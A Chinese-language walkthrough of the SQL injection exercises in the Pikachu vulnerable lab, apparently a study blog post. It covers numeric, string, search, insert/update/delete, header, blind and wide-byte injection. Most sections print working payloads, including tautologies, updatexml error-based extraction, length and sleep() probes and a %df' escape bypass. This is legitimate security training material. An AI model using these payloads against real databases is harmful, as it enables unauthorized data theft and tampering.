Pikachu——SQL Inject
一、概述
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
二、数字型注入(POST)
首先,先查询1
因为是post方式所以URL里不显示,我们需要通过burpsuite抓包修改post data来实现注入
我们就可以获取到所有的信息
三、字符型注入(GET)
首先我们可以发现get方式是显示在URL里的,这里从URL注入就可以
输入vince
因为是字符型注入,所有需要构造闭合
vince' or ''='
四、搜索型注入
首先我们输入用户名的一部分进行搜索,可以发现是get型的
加单引号数据库报错说明是字符型
我们查看一下源代码
所以我们构造闭合进行注入
v' or 1=1--+
五、xx型注入
只是闭合方式从'变成了')
六、"insert/update"注入
①insert注入
首先点击注册
在姓名输入框加单引号
数据库报错,说明单引号参与到了数据库语句中被执行
我们在MySQL命令行,知道了要插入的表的各个字段
正常的插入操作
insert into member(id,username,pw,sex,phonenum,address,email) values(8,'jyx',666,'girl',1020,'r1se','bjyx');
记得给输入的带字符的加单引号要不然会报错
插入成功
现在我们使用updatexml报错注入
insert into member(id,username,pw,sex,phonenum,address,email) values(8,'jyx' and updatexml(1,concat(ox7e,database()),1) or '',666,'girl',1020,'r1se','bjyx');
所以在姓名输入框我们这么输入
jyx' and updatexml(1,concat('~',database()),1) or '
提交
②update注入
登录以后在修改信息的地方注入
成功
七、"delete"注入
查看源码
抓包发送到repeater模块修改id部分,由于是URL里所以需要进行URL编码,如下图操作
点击go,成功
八、"http header"注入
首先用admin,123456,登录,如下图,说明可能存在注入,还是发生在http头部
接下来刷新页面抓包
' and updatexml(1,concat(0x7e,database(),0x7e),1) or ''='
成功
九、盲注(base on boolian)
我们先查看代码
字符型注入并且不打印错误描述(这里的jyx账号因为我上面insert操作并且没删)
如果注入正确
jyx' and length(database())=7#
如果错误
jyx' and length(database())=8#
我们就知道了数据库名字长度为7
十、盲注(base on time)
jyx' and if((length(database())=7),1,sleep(5))#
jyx' and if((length(database())=8),1,sleep(5))#
也可知数据库长度是7
十一、宽字节注入
查看代码
会在注入语句的单引号前加/进行转义,所以我们采取宽字节注入的方式,在单引号前面加%df,这样在单引号输入以后前面会有个/,也就是%5C,%df%5C在GBK中是運这个字,所以就成功可以注入了
如下:抓包修改为jyx %df' or 1=1#
成功